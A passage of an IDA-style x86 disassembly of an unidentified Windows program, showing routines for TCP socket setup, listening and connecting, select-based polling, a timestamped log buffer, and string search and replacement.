loc_419A10:				; CODE XREF: ___:00401C99j
		nop
		call	near ptr 77C371D3h
		cdq
		idiv	dword ptr [esp+4]
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------

locret_419A30:				; CODE XREF: ___:00401528j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A50	proc near		; CODE XREF: sub_401FE1j
		xor	al, al
		retn	4
sub_419A50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A70	proc near		; CODE XREF: sub_40152Dj

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	ecx, offset byte_4D8075
		call	sub_401118
		retn
sub_419A70	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419AB0:				; CODE XREF: ___:0040150Fj
		sub	esp, 0Ch
		mov	eax, [esp+20h]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	dword ptr [esp+18h], 80h
		mov	[esp+10h], esi
		jz	short loc_419AE3
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, esi
		mov	[esp+10h], eax
		jz	short loc_419AE3
		mov	[esp+18h], eax


loc_419AE3:				; CODE XREF: ___:00419ACBj
					; ___:00419ADDj
		mov	edi, [esp+28h]
		mov	ebx, [esp+24h]
		mov	ebp, [esp+20h]
		mov	[esp+14h], esi
		mov	esi, offset dword_508E2C


loc_419AF8:				; CODE XREF: ___:00419B49j
		mov	ecx, [esp+14h]
		mov	eax, [esp+18h]
		cmp	ecx, eax
		jge	short loc_419B4B
		cmp	byte ptr [esi],	0
		jz	short loc_419B34
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_419B28
		mov	ecx, [esp+10h]
		test	ecx, ecx
		jnz	short loc_419B28
		push	eax
		push	esi
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	short loc_419B34


loc_419B28:				; CODE XREF: ___:00419B0Fj
					; ___:00419B17j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_40152D
		add	esp, 10h


loc_419B34:				; CODE XREF: ___:00419B07j
					; ___:00419B26j
		mov	edx, [esp+14h]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_50CE2C
		mov	[esp+14h], edx
		jl	short loc_419AF8


loc_419B4B:				; CODE XREF: ___:00419B02j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419B90:				; CODE XREF: ___:00402289j
		push	ebx
		mov	ebx, dword_511B04
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, offset dword_508E2C


loc_419BA2:				; CODE XREF: ___:00419BBEj
		cmp	byte ptr [esi],	0
		jz	short loc_419BB2
		push	edi
		push	esi
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419BC6


loc_419BB2:				; CODE XREF: ___:00419BA5j
		add	esi, 80h
		cmp	esi, offset dword_50CE2C
		jl	short loc_419BA2
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419BC6:				; CODE XREF: ___:00419BB0j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419BE0	proc near		; CODE XREF: sub_4010D2j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		nop
		call	near ptr 27B0000h
		mov	edi, dword_511B08
		mov	esi, offset dword_50CE2C


loc_419BFB:				; CODE XREF: sub_419BE0+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_419C0F
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi	; strncpy
		add	esp, 0Ch


loc_419C0F:				; CODE XREF: sub_419BE0+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_508E2C
		jge	short loc_419BFB
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	80h
		push	offset dword_508E2C
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_419BE0	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419CB0:				; CODE XREF: ___:004012DAj
		sub	esp, 600h
		mov	ecx, 80h
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+10h]
		mov	esi, [esp+614h]
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+210h]
		mov	ebp, dword_511B08
		push	1FFh
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+414h]
		rep stosd
		lea	eax, [esp+14h]
		push	esi
		push	eax
		call	ebp	; strncpy
		mov	edx, [esp+628h]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_419D21
		mov	[edx+180h], al


loc_419D21:				; CODE XREF: ___:00419D19j
		mov	ebx, [esp+618h]
		lea	ecx, [esp+10h]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_419E32


loc_419D3F:				; CODE XREF: ___:00419E25j
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		nop
		call	near ptr 77C47C60h
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1FFh
		add	ecx, esi
		lea	eax, [esp+41Ch]
		push	ecx
		push	eax
		call	ebp	; strncpy
		lea	ecx, [esp+24h]
		push	1FFh
		lea	edx, [esp+228h]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp	; strncpy
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_419E00
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_419E00
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_419DDD
		mov	edx, [esp+61Ch]
		lea	ecx, [esp+410h]
		push	ecx
		lea	eax, [esp+214h]
		push	edx
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset aSSS	; "%s%s%s"
		push	ecx
		nop
		call	sub_5F285B
		add	esp, 14h
		jmp	short loc_419E00
; ---------------------------------------------------------------------------


loc_419DDD:				; CODE XREF: ___:00419DAEj
		mov	edx, [esp+61Ch]
		lea	eax, [esp+210h]
		push	edx
		push	eax
		lea	ecx, [esp+18h]
		push	offset aSS_3	; "%s%s"
		push	ecx
		nop
		call	sub_5F285B
		add	esp, 10h


loc_419E00:				; CODE XREF: ___:00419D8Aj
					; ___:00419D91j ...
		mov	edx, [esp+61Ch]
		mov	esi, dword_511B04
		push	edx
		push	ebx
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419E2B
		lea	eax, [esp+10h]
		push	ebx
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	loc_419D3F


loc_419E2B:				; CODE XREF: ___:00419E16j
		mov	esi, [esp+614h]


loc_419E32:				; CODE XREF: ___:00419D39j
		lea	edi, [esp+10h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+14h]
		push	ecx
		push	esi
		call	ebp	; strncpy
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419ED0:				; CODE XREF: ___:004018DEj
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419EEE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419EEE:				; CODE XREF: ___:00419EE5j
		mov	ecx, [esp+18h]
		xor	eax, eax
		mov	[esp+4], eax
		push	ecx
		mov	[esp+0Ch], eax
		mov	word ptr [esp+8], 2
		mov	[esp+10h], eax
		mov	[esp+14h], eax
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+4]
		push	10h
		push	edx
		push	esi
		mov	[esp+12h], ax
		mov	dword ptr [esp+14h], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_419F39
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419F39:				; CODE XREF: ___:00419F2Fj
		push	7FFFFFFFh
		push	esi
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_419F51
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419F51:				; CODE XREF: ___:00419F47j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419F90:				; CODE XREF: ___:00401E83j
		push	edi
		xor	edi, edi
		mov	eax, offset byte_4E02A5


loc_419F98:				; CODE XREF: ___:00419FA8j
		cmp	dword ptr [eax], 0
		jz	short loc_419FAA
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E7E15
		jle	short loc_419F98


loc_419FAA:				; CODE XREF: ___:00419F9Bj
		cmp	edi, 13h
		jle	short loc_419FB4
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419FB4:				; CODE XREF: ___:00419FADj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_511C00
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4E01ABh[eax*2]
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	ebx ; sub_5F285B
		mov	ecx, [esp+24h]
		mov	edx, [esp+1Ch]
		mov	eax, [esp+20h]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+28h]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5F285B
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A050	proc near		; CODE XREF: sub_4013F2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4D8735


loc_41A058:				; CODE XREF: sub_41A050+18j
		cmp	dword ptr [eax], 0
		jz	short loc_41A06A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E02A5
		jle	short loc_41A058


loc_41A06A:				; CODE XREF: sub_41A050+Bj
		cmp	edi, 13h
		jle	short loc_41A074
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41A074:				; CODE XREF: sub_41A050+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_511C00
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4D863Bh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx ; sub_5F285B
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5F285B
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41A050	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A110	proc near		; CODE XREF: sub_401C49j

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset off_43F0BC
		mov	eax, dword_50DAF8
		test	eax, eax
		jnz	short loc_41A148
		mov	eax, dword_50DAF8
		inc	eax
		mov	dword_50DAF8, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	202h
		call	near ptr 71AB664Dh
		nop
		jmp	short loc_41A155
; ---------------------------------------------------------------------------


loc_41A148:				; CODE XREF: sub_41A110+19j
		mov	edx, dword_50DAF8
		inc	edx
		mov	dword_50DAF8, edx


loc_41A155:				; CODE XREF: sub_41A110+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	edi, offset byte_448F30
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_41A110	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A1E0	proc near		; CODE XREF: ___:004018E3j sub_401B09j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401FE6
		test	[esp+4+arg_0], 1
		jz	short loc_41A1F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41A1F8:				; CODE XREF: sub_41A1E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41A1E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A210	proc near		; CODE XREF: sub_401FE6j
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	off_43F0BC
		test	al, al
		jnz	short loc_41A225
		call	sub_4014E7


loc_41A225:				; CODE XREF: sub_41A210+Ej
		mov	eax, 1
		mov	ecx, dword_50DAF8
		cmp	ecx, eax
		jle	short loc_41A240
		mov	eax, dword_50DAF8
		dec	eax
		mov	dword_50DAF8, eax

locret_41A23F:				; CODE XREF: sub_41A210:loc_41A240j
		retn
; ---------------------------------------------------------------------------


loc_41A240:				; CODE XREF: sub_41A210+22j
		jnz	short locret_41A23F
		mov	ecx, dword_50DAF8
		dec	ecx
		mov	dword_50DAF8, ecx
		nop
		jmp	near ptr 71AB4428h
sub_41A210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41A280:				; CODE XREF: ___:004015AAj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43BFDB
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jz	loc_41A331
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_41A2B9
		mov	al, 1
		jmp	short loc_41A331
; ---------------------------------------------------------------------------


loc_41A2B9:				; CODE XREF: ___:0041A2B3j
		push	ebx
		push	edi
		mov	edi, [esp+830h]
		push	800h
		lea	eax, [esi+6]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	ebx, [esp+840h]
		add	esp, 0Ch
		lea	ecx, [esp+0Ch]
		mov	[esi+4], bx
		call	sub_401186
		mov	ecx, [esp+83Ch]
		mov	edx, [esp+838h]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+838h], 0
		call	sub_401640
		push	eax
		mov	ecx, esi
		call	sub_4020E5
		lea	ecx, [esp+0Ch]
		mov	bl, al
		mov	dword ptr [esp+828h], 0FFFFFFFFh
		call	sub_40187A
		mov	al, bl
		pop	edi
		pop	ebx


loc_41A331:				; CODE XREF: ___:0041A2A5j
					; ___:0041A2B7j
		mov	ecx, [esp+818h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A390	proc near		; CODE XREF: sub_40196Aj
		mov	al, byte_444DA4
		retn
sub_41A390	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A3B0	proc near		; CODE XREF: sub_4020E5j

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A3D0
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A3D0:				; CODE XREF: sub_41A3B0+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A571
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A40A
		mov	ecx, esi
		call	sub_4014E7
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A40A:				; CODE XREF: sub_41A3B0+43j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A419
		push	1
		jmp	short loc_41A41B
; ---------------------------------------------------------------------------


loc_41A419:				; CODE XREF: sub_41A3B0+63j
		push	0


loc_41A41B:				; CODE XREF: sub_41A3B0+67j
		mov	ecx, esi
		call	sub_4018CA
		mov	edi, [esp+128h+arg_4]
		xor	eax, eax
		mov	[esp+128h+var_114], eax
		push	edi
		mov	[esp+12Ch+var_110], eax
		mov	[esi+4], di
		mov	[esp+12Ch+var_10C], eax
		mov	word ptr [esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_108], eax
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esp+128h+arg_0]
		mov	word ptr [esp+128h+var_114+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+128h+var_114]
		push	10h
		push	edx
		push	eax
		mov	[esp+134h+var_110], ecx
		mov	[esi+4], di
		nop
		call	near ptr 71AB406Ah
		mov	ebp, dword_511C50
		test	eax, eax
		jge	short loc_41A4BC
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A4AD
		call	ebp	; WSAGetLastError
		cmp	eax, 0Bh
		jz	short loc_41A4AD
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A4AD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A4AD:				; CODE XREF: sub_41A3B0+D6j
					; sub_41A3B0+DDj ...
		mov	al, byte ptr [esp+128h+arg_8]
		test	al, al
		jnz	loc_41A56A


loc_41A4BC:				; CODE XREF: sub_41A3B0+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+128h+var_11C]
		mov	edi, dword_511C94
		mov	[esp+128h+var_11C], ecx
		push	edx
		mov	[esp+12Ch+var_118], ecx
		push	ecx
		lea	ecx, [esp+130h+var_104]
		mov	[esp+130h+var_100], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+13Ch+var_11C], 0Ah
		mov	[esp+13Ch+var_104], 1
		call	edi	; select
		test	eax, eax
		jge	short loc_41A530


loc_41A4FB:				; CODE XREF: sub_41A3B0+17Ej
		call	ebp	; WSAGetLastError
		call	ebp	; WSAGetLastError
		cmp	eax, 4
		jnz	short loc_41A545
		mov	eax, [esp+128h+var_11C]
		test	eax, eax
		jnz	short loc_41A514
		mov	eax, [esp+128h+var_118]
		test	eax, eax
		jz	short loc_41A545


loc_41A514:				; CODE XREF: sub_41A3B0+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi	; select
		test	eax, eax
		jl	short loc_41A4FB


loc_41A530:				; CODE XREF: sub_41A3B0+149j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A561
		mov	edx, [esp+128h+arg_8]
		push	edx
		jmp	short loc_41A563
; ---------------------------------------------------------------------------


loc_41A545:				; CODE XREF: sub_41A3B0+152j
					; sub_41A3B0+162j
		mov	ecx, esi
		call	sub_4014E7
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A561:				; CODE XREF: sub_41A3B0+189j
		push	0


loc_41A563:				; CODE XREF: sub_41A3B0+193j
		mov	ecx, esi
		call	sub_4018CA


loc_41A56A:				; CODE XREF: sub_41A3B0+106j
		mov	byte ptr [esi+80Bh], 1


loc_41A571:				; CODE XREF: sub_41A3B0+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_41A3B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A600	proc near		; CODE XREF: sub_4014E7j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A61A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A61A
		push	eax
		call	near ptr 71AB9639h
		nop


loc_41A61A:				; CODE XREF: sub_41A600+Cj
					; sub_41A600+11j
		mov	ecx, esi
		call	sub_401375
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_41A600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A640	proc near		; CODE XREF: sub_401375j
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, offset byte_448F30
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_41A640	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A6B0	proc near		; CODE XREF: sub_401492j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A6C6
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6C6:				; CODE XREF: sub_41A6B0+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A77F
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A6FB
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6FB:				; CODE XREF: sub_41A6B0+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41A754
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A754:				; CODE XREF: sub_41A6B0+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A778
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A778:				; CODE XREF: sub_41A6B0+B6j
		mov	byte ptr [esi+80Bh], 1


loc_41A77F:				; CODE XREF: sub_41A6B0+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_41A6B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A7D0	proc near		; CODE XREF: sub_401B95j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A7EE
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A7EE:				; CODE XREF: sub_41A7D0+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_41A805
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A805:				; CODE XREF: sub_41A7D0+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_41A881
		call	sub_40196A
		test	al, al
		jz	short loc_41A874
		mov	edi, dword_511C94


loc_41A81E:				; CODE XREF: sub_41A7D0+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi	; select
		test	eax, eax
		jz	short loc_41A86B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A881


loc_41A86B:				; CODE XREF: sub_41A7D0+84j
		call	sub_40196A
		test	al, al
		jnz	short loc_41A81E


loc_41A874:				; CODE XREF: sub_41A7D0+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A881:				; CODE XREF: sub_41A7D0+3Dj
					; sub_41A7D0+99j
		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_41A8A4
		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
		push	edx
		push	eax
